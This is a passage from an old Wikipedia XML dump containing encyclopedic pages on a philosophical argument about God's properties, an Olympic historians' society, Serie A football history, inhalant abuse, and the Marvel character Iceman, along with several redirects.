[[bg:Имперска единица]]
[[de:Angloamerikanisches Maßsystem]]
[[fr:Unité de mesure anglo-saxonne]]
[[nl:Imperiale Systeem]]
[[ja:ヤード・ポンド法]]
[[pl:Anglosaski układ jednostek miar]]
[[ru:Английская система мер]]
[[zh:英制]]</text>
    </revision>
  </page>
  <page>
    <title>Incompatible-properties argument</title>
    <id>15494</id>
    <revision>
      <id>19115434</id>
      <timestamp>2005-07-18T23:59:04Z</timestamp>
      <contributor>
        <username>Lupin</username>
        <id>42385</id>
      </contributor>
      <minor />
      <comment>/* Simplicity vs. omniscience */</comment>
      <text xml:space="preserve">The '''Incompatible-properties argument''' is the idea that no description of [[God]] is consistent with [[reality]].  For example, if one takes the definition of God to be described fully from the [[Bible]], then the claims of what properties God has described therein might be argued to lead to a [[contradiction]].

==Evil vs. good and omnipotence==
The [[problem of evil]] is the argument that the existence of evil is incompatible with the concept of an omnipotent and perfectly good God.

A variation does not depend on the existence of evil.  A truly omnipotent God could create all possible worlds.  A &quot;good&quot; God can create only &quot;good&quot; worlds.  A God that created all possible worlds would have no moral qualities whatsoever, and could be replaced by a random generator.  The standard response is to argue a distinction between &quot;could create&quot; and &quot;would create.&quot;  In other words, God &quot;could&quot; create all possible worlds but that is simply not in God's nature.  This has been argued by theologians for centuries.  However, the result is that a &quot;good&quot; God is incompatible with some possible worlds, thus incapable of creating them without losing the property of being a totally different God. 

==Purpose vs. timelessness==

One argument based on incompatible properties rests on a definition of God that includes a will, plan or purpose and an existence outside of [[time]].  To say that a being possesses a purpose implies an inclination or tendency to steer events toward some state that does not yet exist.  This, in turn, implies a privileged direction, which we may call &quot;[[time]]&quot;.  It may be one direction of [[causality]],  the direction of increasing [[entropy]], or some other emergent property of a world.  These are not identical, but one must exist in order to progress toward a goal.  

In general, God's time would not be related to our time.  God might be able to operate within our time without being constrained to do so.  However, God could then step outside this game for any purpose.  Thus God's time must be aligned with our time if human activities are relevant to God's purpose.  (In a relativistic universe, presumably this means -- at any point in spacetime -- time measured from t=0 at the Big Bang or end of inflation.)

A God existing outside of any sort of time could not create anything because creation substitutes one thing for another, or for nothing.  Creation requires a creator that existed, by definition, prior to the thing created.

==Omniscience vs. indeterminacy or free will==
Another pair of incompatible properties is omniscience and either indeterminacy or [[free will]].  Omniscience concerning the past and present (properly defined relative to Earth) is not a problem, but omniscience regarding the future implies it has been determined.  That is possible only in a deterministic world.

==Simplicity vs. omniscience==

Another pair is simplicity and omniscience.  God's memory alone vastly exceeds the terabytes in our computers, and bits (or bytes) are the fundamental mathematical units of information.  Information is not &quot;ineffable&quot; and cannot be reduced to something simpler.  Furthermore, God must live forever and therefore must have a deterministic processing unit or infinite error correction mechanisms.  The simplest implementation is deterministic and quite unconscious, seemingly incompatible with an intelligent being.

== External links ==

*[http://www.secularhumanism.org/library/philo/drange_1_2.htm A description of 10 more incompatibilities]
*[http://www.missouri.edu/~kvanvigj/papers/omniscienceandeternityareplytocraig.htm A response to William Craig] --Technical paper on omniscience and time.
*[http://students.washington.edu/tmetcalf/oamp.htm Omniscience and Omnipotence]</text>
    </revision>
  </page>
  <page>
    <title>International Society of Olympic Historians</title>
    <id>15495</id>
    <revision>
      <id>28993977</id>
      <timestamp>2005-11-22T17:37:58Z</timestamp>
      <contributor>
        <ip>82.120.131.110</ip>
      </contributor>
      <text xml:space="preserve">The '''International Society of Olympic Historians''' is a [[non-profit organisation]] with the purpose of promoting and studying the Olympic Movement and the Olympic Games.  This purpose is achieved primarily through research into their history, through the gathering of historical and statistical data concerning the Olympic Movement and Olympic Games, through the publication of the research via journals and other publications, and through the cooperation of the membership.

The International Society of Olympic Historians (ISOH) was formed as the result of a meeting in London, England in December 1991. The idea of forming an Olympic historical society had been the subject of correspondence &amp;#8211; mainly between Bill Mallon ([[United States]]) and Ture Widlund ([[Sweden]]) &amp;#8211; for many years. On Thursday, [[December 5|5 December]] [[1991]], a group of potential members met at the Duke of Clarence, a small pub in the Kensington section of [[London]].  Those present were Ian Buchanan ([[Great Britain]]), Stan Greenberg ([[Great Britain]]), Ove Karlsson ([[Sweden]]), Bill Mallon ([[United States]]), Peter Matthews ([[Great Britain]]), [[David Wallechinsky]] ([[United States]]), and Ture Widlund ([[Sweden]]).  The invited guests who sent regrets were: Anthony Bijkerk ([[Netherlands]]), Peter Diamond ([[United States]]), Pim Huurman ([[Netherlands]]), Erich Kamper ([[Austria]]), Volker Kluge ([[Germany]]), John Lucas ([[United States]]), and Wolf Lyberg ([[Sweden]]).

Currently, the ISOH has about 300 members from 50 nations. The ISOH publishes the ''Journal of Olympic History'' (formerly ''Citius, Altius, Fortius'') three times a year.

From its inception to 2000, Ian Buchanan has been the president of the ISOH. In 2000, this function was taken over by Bill Mallon.

Organization homepage: [http://www.olykamp.org/isoh/ ISOH Homepage]

See also [[Sports history organizations]]

[[Category:Olympics]]
[[Category:History of sports]]
[[Category:Non-profit organizations]]

[[it:Società internazionale degli storici olimpici]]</text>
    </revision>
  </page>
  <page>
    <title>Serie A</title>
    <id>15496</id>
    <revision>
      <id>41910143</id>
      <timestamp>2006-03-02T15:33:06Z</timestamp>
      <contributor>
        <username>ChrisTheDude</username>
        <id>625916</id>
      </contributor>
      <comment>/* Teams 2005-06 */ slight re-wording</comment>
      <text xml:space="preserve">'''Serie A''' is the top division of the [[Italian Football League]], the highest [[football (soccer)|football]] league in [[Italy]]. Italian mobile phone company [[Telecom Italia Mobile|TIM]] is the main sponsor, so the official name is Serie A TIM. The division consists of 20 clubs from the [[2004]]-[[2005|05]] season, with each team competing against each other team twice, round-robin style, for a total of 38 matches per season. The bottom three clubs in the league table are [[relegation|relegated]] to [[Serie B]]. The top two clubs from Serie B are promoted automatically, while the third- through sixth-place clubs enter a promotion playoff for the final place in Serie A. The promotion playoff, similar to that used for years in [[England]]'s [[The Football League|Football League]], was first employed in 2004-05.

Serie A, as it is structured today, began in [[1929]]. From [[1898]] to 1929 the competition was organised into regional groups. No title was awarded in [[1927]] after [[Torino Calcio|Torino]] were stripped of the championship by the [[Italian Football Federation]] (FIGC). Torino were declared champions in the [[1948]]-[[1949|49]] season following [[Superga air disaster|a plane crash]] near the end of the season in which the entire team was killed.

The Serie A Championship title is often referred to as the '''Scudetto''' (small shield) because the winning team will bear a small coat of arms with the [[flag of Italy|Italian tricolour]] on their uniform in the following season. The most successful league club is [[Juventus]] with 28 championships, followed by [[A.C. Milan]] (17), [[Internazionale Milano F.C.|Internazionale]] (13) and [[Genoa 1893|Genoa C&amp;FC]] (9). For every ten titles won, clubs are allowed to wear a golden star above their club badge; so Juventus has two stars, while Milan and Internazionale have one star each.

==Teams 2005-06==
Twenty clubs compete in Serie A in the 2005-06 season. The first two teams qualify for the [[UEFA Champions League]] automatically, while the third and fourth enter the qualifying rounds. The fifth and sixth teams, as well as the winner of the [[Coppa Italia]], enter the [[UEFA Cup]]. For the season 2005-06, the Italian teams playing Champions League are Juventus, Milan, Internazionale, and Udinese – the last two entered through qualification matches; Sampdoria, Palermo and Roma (as runner-up in Coppa Italia) will play in the UEFA Cup.

*'''[[Ascoli Calcio 1898]]''' ([[Ascoli Piceno]])
*'''[[Cagliari Calcio]]''' ([[Cagliari]])
*'''[[A.C. ChievoVerona]]''' ([[Verona]])
*'''[[Empoli F.C.]]''' ([[Empoli]])
*'''[[ACF Fiorentina]]''' ([[Florence]])
*'''[[Internazionale Milano F.C.]]''' ([[Milan]])
*'''[[Juventus F.C.]]''' ([[Turin]])
*'''[[S.S. Lazio]]''' ([[Rome]])
*'''[[U.S. Lecce]]''' ([[Lecce]])
*'''[[A.S. Livorno Calcio]]''' ([[Livorno]])
*'''[[F.C. Messina Peloro]]''' ([[Messina]])
*'''[[A.C. Milan]]''' ([[Milan]])
*'''[[U.S. Città di Palermo]]''' ([[Palermo]])
*'''[[Parma F.C.]]''' ([[Parma]])
*'''[[Reggina Calcio]]''' ([[Reggio Calabria]])
*'''[[A.S. Roma]]''' ([[Rome]])
*'''[[U.C. Sampdoria]]''' ([[Genoa]])
*'''[[A.C. Siena]]''' ([[Siena]])
*'''[[Treviso F.B.C. 1993]]''' ([[Treviso]])
*'''[[Udinese Calcio]]''' ([[Udine]])

==Champions==
{|
|valign=&quot;top&quot;|
* 1898 - [[Genoa Cricket &amp; Football Club|Genoa Cricket &amp; Athletic Club]]
* 1899 - Genoa Cricket &amp; Athletic Club
* 1900 - [[Genoa Cricket &amp; Football Club]]
* 1901 - [[A.C. Milan|Milan Cricket &amp; FC]]
* 1902 - Genoa C&amp;FC
* 1903 - Genoa C&amp;FC
* 1904 - Genoa C&amp;FC
* 1905 - [[Juventus F.C.|Juventus FC]]
* 1906 - [[A.C. Milan|Milan FC]]
* 1907 - Milan FC
* 1908 - [[U.S. Pro Vercelli Calcio|Pro Vercelli]]
* 1909 - Pro Vercelli
* 1910 - [[Internazionale Milano F.C.|Internazionale]]
* 1911 - Pro Vercelli
* 1912 - Pro Vercelli
* 1913 - Pro Vercelli
* 1914 - [[A.S. Casale Calcio|Casale]]
* 1915 - Genoa C&amp;FC (title awarded by the FIGC)
* 1916-19 - ''league suspended due to [[World War I]]''
* 1920 - Internazionale
* 1921 - Pro Vercelli
* 1922 - ''CCI:'' Pro Vercelli; ''FIGC:'' [[U.S. Novese|US Novese]]
* 1923 - Genoa C&amp;FC
* 1924 - Genoa C&amp;FC
* 1925 - [[Bologna F.C. 1909|Bologna FC]]
* 1926 - Juventus FC
* 1927 - [[Torino F.C.|FC Torino]] (removed by the FIGC)
* 1928 - FC Torino
* 1929 - Bologna
* 1929-30 - [[Internazionale Milano F.C.|Ambrosiana SS]]
* 1930-31 - Juventus FC
* 1931-32 - Juventus FC
* 1932-33 - Juventus FC
* 1933-34 - Juventus FC
* 1934-35 - Juventus FC
* 1935-36 - Bologna
* 1936-37 - Bologna
* 1937-38 - [[Internazionale Milano F.C.|Ambrosiana-Internazionale]]
* 1938-39 - Bologna
* 1939-40 - Ambrosiana-Internazionale
* 1940-41 - Bologna
* 1941-42 - [[A.S. Roma|AS Roma]]
* 1942-43 - Torino
* 1944-45 - ''league suspended due to [[World War II]]''
* 1945-46 - Torino
* 1946-47 - Torino
* 1947-48 - Torino
* 1948-49 - Torino
* 1949-50 - Juventus FC
* 1950-51 - [[A.C. Milan|AC Milan]]
* 1951-52 - Juventus FC
* 1952-53 - Internazionale
|width=&quot;50&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
* 1953-54 - Internazionale
* 1954-55 - AC Milan
* 1955-56 - [[ACF Fiorentina|Fiorentina]]
* 1956-57 - AC Milan
* 1957-58 - Juventus FC
* 1958-59 - AC Milan
* 1959-60 - Juventus FC
* 1960-61 - Juventus FC
* 1961-62 - AC Milan
* 1962-63 - Internazionale
* 1963-64 - Bologna
* 1964-65 - Internazionale
* 1965-66 - Internazionale
* 1966-67 - Juventus FC
* 1967-68 - AC Milan
* 1968-69 - Fiorentina
* 1969-70 - [[Cagliari Calcio|Cagliari]]
* 1970-71 - Internazionale
* 1971-72 - Juventus FC
* 1972-73 - Juventus FC
* 1973-74 - [[SS Lazio]]
* 1974-75 - Juventus FC
* 1975-76 - Torino
* 1976-77 - Juventus FC
* 1977-78 - Juventus FC
* 1978-79 - AC Milan
* 1979-80 - Internazionale
* 1980-81 - Juventus FC
* 1981-82 - Juventus FC
* 1982-83 - [[A.S. Roma|AS Roma]]
* 1983-84 - Juventus FC
* 1984-85 - [[Hellas Verona F.C.|Hellas Verona]]
* 1985-86 - Juventus FC
* 1986-87 - [[Napoli Soccer|SSC Napoli]]
* 1987-88 - AC Milan
* 1988-89 - Internazionale
* 1989-90 - SSC Napoli
* 1990-91 - [[U.C. Sampdoria|UC Sampdoria]]
* 1991-92 - AC Milan
* 1992-93 - AC Milan
* 1993-94 - AC Milan
* 1994-95 - Juventus FC
* 1995-96 - AC Milan
* 1996-97 - Juventus FC
* 1997-98 - Juventus FC
* 1998-99 - AC Milan
* 1999-2000 - SS Lazio
* 2000-01 - AS Roma
* 2001-02 - Juventus FC
* 2002-03 - Juventus FC
* [[Serie A 2003-04|2003-04]] - AC Milan
* [[Serie A 2004-05|2004-05]] - Juventus FC
|width=&quot;50&quot;|&amp;nbsp;
|valign=&quot;top&quot;|

|}

{|
|valign=&quot;top&quot;|
# ''28'' - {{Fc|Juventus}}
# ''17'' - [[A.C. Milan]]
# ''13'' - [[Internazionale Milano F.C.|Internazionale]]
# ''9'' - [[Genoa Cricket &amp; Football Club|Genoa 1893]]
# ''7'' - [[Bologna F.C. 1909|Bologna]], {{Fc|Torino}}, [[Pro Vercelli]]
# ''3'' - [[A.S. Roma]]
# ''2'' - [[ACF Fiorentina|Fiorentina]], [[S.S. Lazio|Lazio]], [[SSC Napoli]]
# ''1'' - [[A.S. Casale Calcio|Casale]], [[U.S. Novese|Novese]], [[Cagliari Calcio|Cagliari]], {{Fc|Hellas Verona}}, [[U.C. Sampdoria|UC Sampdoria]]
|width=&quot;50&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
|}

&lt;gallery&gt;
Image:Totti-a.s.Roma-celebration.jpg|2000-01. Transfer on a [[Rome|Roman]] house to celebrate [[Francesco Totti|Totti]] and [[A.S. Roma]]'s third ''scudetto''.
Image:Milano Scudetto Milan 1.jpg|2003-04. Celebrations in [[Milan]] for the 17&lt;sup&gt;th&lt;/sup&gt; ''scudetto'' of [[A.C. Milan]].

&lt;/gallery&gt;

==Records==
===Top Scorers by seasons=== 
{|
|valign=&quot;top&quot;|
* 1946/47 - 29 goals {{flagicon|Italy}} [[Valentino Mazzola]] ([[Torino Calcio|Torino]])
* 1947/48 - 27 goals {{flagicon|Italy}} [[Giampiero Boniperti]] ([[Juventus F.C.|Juventus]])
* 1948/49 - 26 goals {{flagicon|France}} [[Stefano Nyers]] ([[Internazionale Milano F.C.|Internazionale]])
* 1949/50 - 35 goals {{flagicon|Sweden}} [[Gunnar Nordahl]] ([[A.C. Milan|Milan]])
* 1950/51 - 34 goals {{flagicon|Sweden}} Gunnar Nordahl (Milan)
* 1951/52 - 30 goals {{flagicon|Denmark}} [[John Hansen (football manager)|John Hansen]] (Juventus)
* 1952/53 - 26 goals {{flagicon|Sweden}} Gunnar Nordahl (Milan)
* 1953/54 - 23 goals {{flagicon|Sweden}} Gunnar Nordahl (Milan)
* 1954/55 - 26 goals {{flagicon|Sweden}} Gunnar Nordahl (Milan)
* 1955/56 - 29 goals {{flagicon|Italy}} [[Gino Pivatelli]] ([[Bologna F.C. 1909|Bologna]])
* 1956/57 - 22 goals {{flagicon|Brazil}} [[Dino Da Costa]] ([[A.S. Roma|Roma]])
* 1957/58 - 28 goals {{flagicon|Wales}} [[John Charles]] (Juventus)
* 1958/59 - 33 goals {{flagicon|Argentina}} [[Antonio Valentin Angelillo]] (Internazionale)
* 1959/60 - 28 goals {{flagicon|Italy}} {{flagicon|Argentina}} [[Omar Sivori]] (Juventus)
* 1960/61 - 27 goals {{flagicon|Italy}} [[Sergio Brighenti]] ([[U.C. Sampdoria|Sampdoria]])
* 1961/62 - 22 goals:
**{{flagicon|Italy}} [[José Altafini]] ([[A.C. Milan|Milan]])
**{{flagicon|Italy}} [[Aurelio Milani]] ([[ACF Fiorentina|Fiorentina]])
* 1962/63 - 19 goals:
**{{flagicon|Denmark}} [[Harald Nielsen]] (Bologna)
**{{flagicon|Argentina}} [[Pedro Manfredini]] (Roma)
* 1963/64 - 21 goals {{flagicon|Denmark}} Harald Nielsen (Bologna)
* 1964/65 - 17 goals:
**Orlando (Fiorentina)
**{{flagicon|Italy}} [[Sandro Mazzola]] (Internazionale)
* 1965/66 - 25 goals {{flagicon|Italy}} [[Luis Vinicio]] ([[Vicenza Calcio|Vicenza]])
* 1966/67 - 18 goals {{flagicon|Italy}} [[Gigi Riva]] ([[Cagliari Calcio|Cagliari]])
* 1967/68 - 15 goals {{flagicon|Italy}} [[Pierino Prati]] (Milan)
* 1968/69 - 21 goals {{flagicon|Italy}} Gigi Riva (Cagliari)
* 1969/70 - 21 goals {{flagicon|Italy}}  Gigi Riva (Cagliari)
* 1970/71 - 24 goals {{flagicon|Italy}} [[Roberto Boninsegna]] (Internazionale)
* 1971/72 - 22 goals {{flagicon|Italy}} Roberto Boninsegna (Internazionale)
* 1972/73 - 17 goals:
**{{flagicon|Italy}} [[Paolino Pulici]] (Torino)
**{{flagicon|Italy}} [[Gianni Rivera]] (Milan)
**{{flagicon|Italy}} [[Giuseppe Savoldi]] (Bologna)
|width=&quot;50&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
* 1973/74 - 24 goals {{flagicon|Italy}} [[Giorgio Chinaglia]] ([[S.S. Lazio|Lazio]])
* 1974/75 - 18 goals {{flagicon|Italy}} Paolino Pulici (Torino)
* 1975/76 - 21 goals {{flagicon|Italy}} Paolino Pulici (Torino)
* 1976/77 - 21 goals {{flagicon|Italy}} [[Francesco Graziani]] (Torino)
* 1977/78 - 24 goals {{flagicon|Italy}} [[Paolo Rossi]] (Vicenza)
* 1978/79 - 19 goals {{flagicon|Italy}} [[Bruno Giordano]] (Lazio)
* 1979/80 - 16 goals {{flagicon|Italy}} [[Roberto Bettega]] (Juventus)
* 1980/81 - 18 goals {{flagicon|Italy}}  [[Roberto Pruzzo]] (Roma)
* 1981/82 - 15 goals {{flagicon|Italy}}  Roberto Pruzzo (Roma)
* 1982/83 - 16 goals {{flagicon|France}} [[Michel Platini]] (Juventus)
* 1983/84 - 20 goals {{flagicon|France}} Michel Platini (Juventus)
* 1984/85 - 18 goals {{flagicon|France}} Michel Platini (Juventus)
* 1985/86 - 19 goals {{flagicon|Italy}}  Roberto Pruzzo (Roma)
* 1986/87 - 17 goals {{flagicon|Italy}} [[Pietro Paolo Virdis]] (Milan)
* 1987/88 - 15 goals {{flagicon|Argentina}} [[Diego Maradona]] ([[Napoli Soccer|Napoli]])
* 1988/89 - 22 goals {{flagicon|Italy}} [[Aldo Serena]] (Internazionale)
* 1989/90 - 19 goals {{flagicon|Netherlands}} [[Marco Van Basten]] (Milan)
* 1990/91 - 19 goals {{flagicon|Italy}} [[Gianluca Vialli]] (Sampdoria)
* 1991/92 - 25 goals {{flagicon|Netherlands}} Marco Van Basten (Milan)
* 1992/93 - 26 goals {{flagicon|Italy}} [[Giuseppe Signori]] (Lazio)
* 1993/94 - 23 goals {{flagicon|Italy}} Giuseppe Signori (Lazio)
* 1994/95 - 26 goals {{flagicon|Argentina}} [[Gabriel Batistuta]] (Fiorentina)
* 1995/96 - 24 goals:
**{{flagicon|Italy}} Giuseppe Signori (Lazio)
**{{flagicon|Italy}} [[Igor Protti]] ([[A.S. Bari|Bari]])
* 1996/97 - 24 goals {{flagicon|Italy}} [[Filippo Inzaghi]] ([[Atalanta B.C.|Atalanta]])
* 1997/98 - 27 goals {{flagicon|Germany}} [[Oliver Bierhoff]] ([[Udinese Calcio|Udinese]])
* 1998/99 - 22 goals {{flagicon|Brazil}} [[Amoroso]] (Udinese)
* 1999/00 - 24 goals {{flagicon|Ukraine}} [[Andriy Shevchenko]] (Milan)
* 2000/01 - 26 gaols {{flagicon|Argentina}} [[Hernán Crespo]] (Lazio)
* 2001/02 - 24 goals:
**{{flagicon|France}} [[David Trézéguet]] (Juventus)
**{{flagicon|Italy}} [[Dario Hubner]] ([[Piacenza F.C.|Piacenza]])
* 2002/03 - 24 goals {{flagicon|Italy}} [[Christian Vieri]] (Internazionale)
* [[Serie A 2003-04|2003/04]] - 24 goals {{flagicon|Ukraine}} Andriy Shevchenko (Milan)
* [[Serie A 2004-05|2004/05]] - 24 goals {{flagicon|Italy}} [[Cristiano Lucarelli]] ([[A.S. Livorno Calcio|Livorno]])
|}


*[http://www.rsssf.com/tablesi/italtops.html Figure before 1997 from RSSSF.com ]
*[http://www.lega-calcio.it/ita/atim_archivio_classifica.shtml Figure after 1997 from lega-calcio.it]

==Trivia==   
*The record for non-Italian players of the same nationality in one match is held by [[Internazionale Milano F.C.|Internazionale]]. On [[January 18]] [[2006 in sports|2006]], [[Julio Ricardo Cruz|Cruz]] (one goal), [[Nicolas Burdisso|Burdisso]], [[Javier Zanetti|J. Zanetti]] (captain), [[Juan Sebastián Verón|Verón]], [[Esteban Cambiasso|Cambiasso]], [[Cristian González|Kily González]] and [[Walter Samuel|Samuel]] played as starters to complete 7 [[:Category:Argentine footballers|Argentine footballers]] for the team that defeated [[Treviso F.B.C. 1993|Treviso]] 0-1 [http://www.ole.com.ar/jsp/v4/pagina.jsp?pagId=1126624].


*Oldest Player Appearence:
#{{flagicon|Italy}} [[Marco Ballotta]] 41 years and 302 days at [[S.S. Lazio]] ([[January 29]] [[2006]])
#{{flagicon|Italy}} [[Dino Zoff]] 41 years-old ([[1983]])

==See also==
*[[Sports attendances]]

==External link==
*[http://lega-calcio.it Official Site]

; History
* [http://www.resultsfromfootball.com/seriea-seasons.html Serie A] — All results since 1929, statistics, compare teams ...

{{Serie A}}

[[Category:Italian football competitions]]
[[Category:National football (soccer) premier leagues]]

[[cs:Serie A]]
[[de:Serie A]]
[[fr:Championnat d'Italie de football]]
[[id:Seri A]]
[[it:Campionato di calcio italiano]]
[[he:סרייה א']]
[[nl:Serie A]]
[[ja:セリエA (サッカー)]]
[[no:Serie A]]
[[pl:Serie A]]
[[pt:Serie A]]
[[fi:Serie A]]
[[sv:Serie A i fotboll]]
[[vi:Danh sách vô địch Serie A]]
[[tr:Serie A]]
[[zh:意大利足球甲级联赛]]</text>
    </revision>
  </page>
  <page>
    <title>Inter Milan</title>
    <id>15497</id>
    <revision>
      <id>27713516</id>
      <timestamp>2005-11-08T11:33:35Z</timestamp>
      <contributor>
        <username>Robchurch</username>
        <id>315649</id>
      </contributor>
      <minor />
      <comment>Fix redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Internazionale Milano F.C.]]</text>
    </revision>
  </page>
  <page>
    <title>IPCC Policymakers Summary</title>
    <id>15499</id>
    <revision>
      <id>15912972</id>
      <timestamp>2003-02-06T10:57:20Z</timestamp>
      <contributor>
        <username>MyRedDice</username>
        <id>5862</id>
      </contributor>
      <comment>#REDIRECT [[Intergovernmental Panel on Climate Change]] (combining content)</comment>
      <text xml:space="preserve">#REDIRECT [[Intergovernmental Panel on Climate Change]]</text>
    </revision>
  </page>
  <page>
    <title>Inhalants</title>
    <id>15500</id>
    <revision>
      <id>15912973</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Inhalant]]
</text>
    </revision>
  </page>
  <page>
    <title>Inhalant</title>
    <id>15501</id>
    <revision>
      <id>41730234</id>
      <timestamp>2006-03-01T09:49:12Z</timestamp>
      <contributor>
        <username>Rhymeless</username>
        <id>58267</id>
      </contributor>
      <comment>/* Common inhalants */  +freon</comment>
      <text xml:space="preserve">'''Inhalants''' are a chemically diverse group of psychoactive substances composed of organic solvents and volatile substances commonly found in more than 1000 common household products, such as [[glue]]s, hair spray, air fresheners, [[gasoline]], [[Naphtha|lighter fluid]], and [[paint]]. 

The practice of inhaling such substances is sometimes colloquially referred to as '''solvent abuse''' or '''huffing'''.

Solvents are some of the most dangerous substances used recreationally, and can cause serious damage to the [[brain]] and [[central nervous system]], and are generally only used by young [[substance abuse]]rs or as a desperate last resort for financially deprived drug addicts. While not regulated in the [[United States]] under the [[Controlled Substances Act]], many states have placed restrictions on the sale of these products to minors.

==Methods of use==
Inhalants may be sniffed directly from an open container or &quot;huffed&quot; from a rag soaked in the substance and held to the face. Alternatively, the open container or soaked rag can be placed in a plastic bag where the vapors concentrate, and the bag held to the face as the user inhales.
Solvent-based  and markers are generally held to the nose, and the fumes inhaled. Propane and butane may be inhaled directly from the canister.

Although inhalant abusers may prefer one particular substance because of the odor or taste, a variety of substances may be used because of their similar effects, availability, and cost. Once inhaled, the extensive capillary surface of the [[lung]]s allows rapid absorption of the substance, and blood levels peak rapidly. Entry into the [[brain]] is so fast that the effects of inhalation can resemble the intensity of effects produced by intravenous injection of other psychoactive drugs.

==Usage and availability==
Inhalant abuse is common among children and adolescents. 

Inhalants are readily available, inexpensive, and easy to conceal. Therefore, they are increasingly popular with young people and are, for many, one of the first substances abused. 

In the United States the extent of the inhalant problem among children and adolescents was, at first, virtually unrecognized by the general public. However, an event in early [[1999]] called national attention to this severe problem. Five high school girls were killed in a car accident outside [[Philadelphia]], and the coroner's report showed that four of the five, including the driver, had ingested &quot;significant&quot; amounts of a [[computer keyboard]] cleaner. 
Since this event, there has been an increased awareness of the threat of inhalant abuse.

In [[Australia]] the inhalation of volatile substances is known as sniffing. Petrol (gasoline) sniffing has reached epidemic proportions in the remote [[Indigenous Australians|Aboriginal]] communities and outback towns. One response has been the introduction of low-volatility [[Opal (fuel)|Opal petrol]] in the central desert regions, and the banning of petrol from some areas (where [[diesel]] fuelled vehicles are used). 

Gasoline inhalation became common on [[Russia]]n ships following attempts to limit the supply of [[alcoholic beverage|alcohol]] to crew in the 1980s. The documentary &quot;Children Underground&quot; depicts the huffing of Aurolac by Romanian homeless children.

==Common inhalants==

* [[butane]]
* [[canned air]] (compressed [[hydrofluorocarbon]]s)
* [[casette]] player head cleaner
* [[correction fluid]]
* [[diethyl ether]]
* [[embalming chemicals|embalming fluid]] ([[formaldehyde]] or similar chemicals)
* [[freon]]
* [[gasoline]]
* [[glue]]s and cements (rubber cement, plastic cement, etc.)
* [[nail polish]] remover ([[acetone]] or similar chemicals)
* [[paint]] or [[spraypaint]]
* [[Paint thinner]] ([[turpentine]] or similar chemicals)
* [[Scotchgard]]
* [[xylent]] markers

== See also ==
* &quot;[[Sniffin' Glue]]&quot; (magazine)
* &quot;[[The Pod]]&quot; (recording)

==External links==
* [http://www.inhalants.org/ National Inhalant Prevention Coalition]
* [http://inhalants.drugabuse.gov/ Inhalants.Drugabuse.gov] (National Institute on Drug Abuse)
* [http://www.nida.nih.gov/Infofacts/Inhalants.html NIDA InfoFacts - Inhalants] (National Institute on Drug Abuse)
* [http://www.whitehousedrugpolicy.gov/drugfact/inhalants/index.html Inhalants - Facts and Figures] (Office of National Drug Control Policy)
* [http://ncadi.samhsa.gov/govpubs/phd631/ Tips for Teens: The Truth About Inhalants] (SAMHSA's National Clearinghouse for Alcohol and Drug Information)
* [http://www.drgreene.com/21_180.html DrGreene.com - What Parents Should Know About &quot;Huffing&quot;]
* [http://www.caresproject.org/docs/ed/drug/inhalants.htm Inhalants and Solvent Abuse] (Martin J. Smilkstein, M.D.)
* [http://www.thesmokinggun.com/archive/0721051gold1.html Mugshot and Police Report from The Smoking Gun (1)]

[[es:Inhalante]]
[[ms:inhalan]]

[[Category:Drugs]]
[[Category:Substance-related disorders]]</text>
    </revision>
  </page>
  <page>
    <title>Incubus film</title>
    <id>15503</id>
    <revision>
      <id>24908573</id>
      <timestamp>2005-10-06T18:06:11Z</timestamp>
      <contributor>
        <username>Tedernst</username>
        <id>3700</id>
      </contributor>
      <comment>eliminate double re-direct</comment>
      <text xml:space="preserve">#REDIRECT [[Incubus (film)]]</text>
    </revision>
  </page>
  <page>
    <title>Iceman (comics)</title>
    <id>15505</id>
    <revision>
      <id>42044441</id>
      <timestamp>2006-03-03T12:17:57Z</timestamp>
      <contributor>
        <username>HoneyBee</username>
        <id>318365</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Superherobox|
|image=[[Image:Iceman (comics).png|250px]]
|caption=Iceman&lt;br&gt;Art by [[Salvador Larroca]]
|comic_color=background:#ff8080
|character_name=Iceman
|real_name=Robert &quot;Bobby&quot; Louis Drake
|publisher=[[Marvel Comics]]
|debut=''X-Men'' #1
|creators=[[Stan Lee]]&lt;br&gt;[[Jack Kirby]]
|alliance_color=background:#ffc0c0
|status=Active
|alliances=[[X-Men]]
|previous_alliances=[[X-Factor]], [[Defenders (comics)|Defenders]], [[The Champions (comics)|Champions]], [[X-Terminators]], [[The Twelve (comics)|The Twelve]], [[Cataclysm Keys]]
|aliases=Drake Roberts
|relatives=William Robert Drake (father), Madeline Beatrice Bass-Drake (mother), Anne (aunt), Mary, Joel (cousins)
|powers=Local and body temperature reduction,&lt;br&gt;Water manipulation,&lt;br&gt;Thermal vision
|}}
'''Iceman''' (Robert Louis &quot;Bobby&quot; Drake) is a  [[comic book]] [[superhero]] in the [[Marvel Comics]] [[Marvel Universe|universe]] and an original and current member of the [[X-Men]]. Created by [[Stan Lee]] and [[Jack Kirby]], he first appeared in ''X-Men'' volume 1 #1 (September, 1963).

==Character biography==

Iceman is a [[Mutant (fictional)|mutant]] with the ability to emanate intense [[cold]] which manifests as [[ice]] formations and the mental ability to shape those ice formations into whatever structure he can imagine.  He is often seen to project cold from his hands in the form of &quot;ice blasts&quot; which can cause an enemy to be completely engulfed in ice in a matter of seconds.  Perhaps his most ingenious use of his abilities is the creation of a sort of ice slide along which he can slide very quickly.  This can occasionally lead to him being confused with the Silver Surfer, as the two characters are visually quite similar.  It is also worth noting he is the only original X-Man to stay with the team throughout its entire run (except for when he departed with the original X-Men to form the first incarnation of [[X-Factor (comics)|X-Factor]], and a very short stint with [[Excalibur (comics)]].

He was born in [[Floral Park]], [[New York]], [[United States]] to William Robert Drake and his wife Madeline Beatrice Bass.  As a teenager, Drake was recruited to [[Professor Charles Xavier]]'s &quot;school for gifted youngsters&quot;, where he joined other young mutants as a charter member of the X-Men.  Drake was sometimes self-conscious that he was the youngest member of the original team.  For a short while, he moved to Los Angeles and became a founding member of [[The Champions (comics)|The Champions]]

